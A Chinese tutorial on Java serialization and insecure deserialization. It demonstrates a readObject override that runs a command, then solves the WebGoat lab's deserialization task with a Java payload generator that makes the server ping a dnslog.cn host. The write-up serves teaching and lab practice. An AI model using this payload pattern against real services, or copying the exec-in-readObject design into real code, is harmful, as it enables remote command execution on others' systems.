1.1 什么是序列化和反序列化?
Java序列化是指把Java对象转换为字节序列的过程;
Java反序列化是指把字节序列恢复为Java对象的过程;

1.2 为什么要序列化
对象不只是存储在内存中,它还需要在传输网络中进行传输,并且保存起来之后下次再加载出来,这时
候就需要序列化技术。
Java的序列化技术就是把对象转换成一串由二进制字节组成的数组,然后将这二进制数据保存在磁盘或
传输网络。而后需要用到这对象时,磁盘或者网络接收者可以通过反序列化得到此对象,达到对象持久
化的目的。
1.3 ObjectOutputStream 与 ObjectInputStream类
1.3.1 ObjectOutputStream类
java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。
序列化操作
一个对象要想序列化,必须满足两个条件:
该类必须实现 java.io.Serializable 接口, Serializable 是一个标记接口,不实现此接口的类将不会
使任
何状态序列化或反序列化,会抛出 NotSerializableException 。
该类的所有属性必须是可序列化的。如果有一个属性不需要可序列化的,则该属性必须注明是瞬态
的,使用
transient 关键字修饰。
示例
package mytest;
import java.io.*;
class User implements Serializable {
public String username;
private int age;
public transient String sex; // transient瞬态修饰成员,不会被序列化
public User(String username,int age,String sex){
this.username=username;
this.age=age;
this.sex=sex;
}
@Override
public String toString() {
return "User{" +
"username='" + username + '\'' +
", age=" + age +
", sex='" + sex + '\'' +
'}';
}
}
public class Main {
public static void main(String[] args) throws Exception {
User user=new User("xiaoming",30,"man");
System.out.println("序列化前"+user);
Serialize(user);
Deserialize();
}
public static void Serialize(Object obj) throws Exception{
ObjectOutputStream InputStram=new ObjectOutputStream(new FileOutputStream("ser.txt")); // 1.创建序列化流
InputStram.writeObject(obj); // 2.写出对象
InputStram.close(); //释放资源
System.out.println("序列化完成");
}
public static void Deserialize() throws Exception{
ObjectInputStream InputStram= new ObjectInputStream(new FileInputStream("ser.txt")); // 1.创建反序列化流
Object obj=InputStram.readObject(); // 2.使用ObjectInputStream中的readObject读取一个对象
InputStram.close();//释放资源
System.out.print("反序列化"+obj);
}
}运行结果

1.4 反序列化漏洞的基本原理
在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法被重写不当时产生漏洞
package mytest;
import java.io.*;
class User implements Serializable {
public String username;
private int age;
public transient String sex; // transient瞬态修饰成员,不会被序列化
public User(String username,int age,String sex){
this.username=username;
this.age=age;
this.sex=sex;
}
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
@Override
public String toString() {
return "User{" +
"username='" + username + '\'' +
", age=" + age +
", sex='" + sex + '\'' +
'}';
}
}
public class Main {
public static void main(String[] args) throws Exception {
User user=new User("xiaoming",30,"man");
System.out.println("序列化前"+user);
Serialize(user);
Deserialize();
}
public static void Serialize(Object obj) throws Exception{
ObjectOutputStream InputStram=new ObjectOutputStream(new FileOutputStream("ser.txt")); // 1.创建序列化流
InputStram.writeObject(obj); // 2.写出对象
InputStram.close(); //释放资源
System.out.println("序列化完成");
}
public static void Deserialize() throws Exception{
ObjectInputStream InputStram= new ObjectInputStream(new FileInputStream("ser.txt")); // 1.创建反序列化流
Object obj=InputStram.readObject(); // 2.使用ObjectInputStream中的readObject读取一个对象
InputStram.close();//释放资源
System.out.print("反序列化"+obj);
}
}运行后弹出计算器

此处重写了readObject方法,执行了 Runtime.getRuntime().exec()
defaultReadObject方法为ObjectInputStream中执行readObject后的默认执行方法
运行流程:
1. User对象序列化进ser.txt文件
2. 从ser.txt反序列化对象->调用readObject方法->执行Runtime.getRuntime().exec("calc")
演示
这里使用WebGoat靶场进行演示,靶场下载地址:https://github.com/WebGoat/WebGoat

打开burp抓个包

idea全局搜索

找到对应代码

代码如下
package org.owasp.webgoat.lessons.deserialization;
import java.io.byteArrayInputStream;
import java.io.IOException;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
@AssignmentHints({
"insecure-deserialization.hints.1",
"insecure-deserialization.hints.2",
"insecure-deserialization.hints.3"
})
public class InsecureDeserializationTask extends AssignmentEndpoint {
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException { //接收一个token,就是之前在POSt提交的token
String b64token;
long before;
long after;
int delay;
b64token = token.replace('-', '+').replace('_', '/');//把token进行一些处理,并进行base64解码
try (ObjectInputStream ois =
new ObjectInputStream(new byteArrayInputStream(Base64.getDecoder().decode(b64token)))) {//将解码后的数据作为字节数组的输入流,再传递给一个对象输入流
before = System.currentTimeMillis();//获取当前的时间
Object o = ois.readObject();//反序列化
if (!(o instanceof VulnerableTaskHolder)) { //判断对象是否为VulnerableTaskHolder的实例
if (o instanceof String) {//如果不是,就不成立
return failed(this).feedback("insecure-deserialization.stringobject").build();
}
return failed(this).feedback("insecure-deserialization.wrongobject").build();
}
after = System.currentTimeMillis();//获取执行完后的时间
} catch (InvalidClassException e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
} catch (IllegalArgumentException e) {
return failed(this).feedback("insecure-deserialization.expired").build();
} catch (Exception e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
}
delay = (int) (after - before);//将完成后的时间和之前的时间相减
if (delay > 7000) {
return failed(this).build();
}
if (delay < 3000) {
return failed(this).build();
}
return success(this).build();
}
}我们看一下VulnerableTaskHolder这个类
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import lombok.extern.slf4j.Slf4j;
@Slf4j
// TODO move back to lesson
public class VulnerableTaskHolder implements Serializable {
private static final long serialversionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();//构造函数执行时的时间,也就是我们创建对象的时间
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName="
+ taskName
+ ", taskAction="
+ taskAction
+ ", requestedExecutionTime="
+ requestedExecutionTime
+ "]";
}
/**
* Execute a task when de-serializing a saved or received object.
*
* @author stupid develop
*/
private void readObject(ObjectInputStream stream) throws Exception {//重写了readObject方法,那么反序列化后执行的就是该方法
// unserialize data so taskName and taskAction are available
stream.defaultReadObject();//首先调用系统自带的ReadObject方法
// do something with the data
log.info("restoring task: {}", taskName);//输出信息
log.info("restoring time: {}", requestedExecutionTime);
if (requestedExecutionTime != null
&& (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {//先判断不为空,再判断时间是创建对象的时间到执行到这里的时间的10分钟之前,或者是在当前时间之后,都不成立
// do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");//抛出异常
}
// condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
&& taskAction.length() < 22) {//判断是否是以sleep或者以ping开头,并且长度小于22
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));//获取输入流,将字节输入流转化成字符输入流,然后传递给BufferedReader
String line = null;
while ((line = in.readLine()) != null) {//逐行读取,每次读取一行,如果不为空的话
log.info(line);//输出
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
}我们idea新建一个工程,,创建和VulnerableTaskHolder这个类一样的包名把VulnerableTaskHolder这个类复制过来,方法可以不要

编写payload

package org.dummy.insecure.framework;
import java.io.byteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Payload {
public static void main(String[] args) throws Exception {
VulnerableTaskHolder hoder=new VulnerableTaskHolder("a","ping 775z8x.dnslog.cn");
byteArrayOutputStream baos=new byteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);//传递给对象输出流
oos.writeObject(hoder);//往字节数组输出流写入对象
String string=Base64.getEncoder().encodeToString(baos.tobyteArray());//转化成base64
System.out.print(string);//输出
}
}提交,成功执行命令


评论 (0)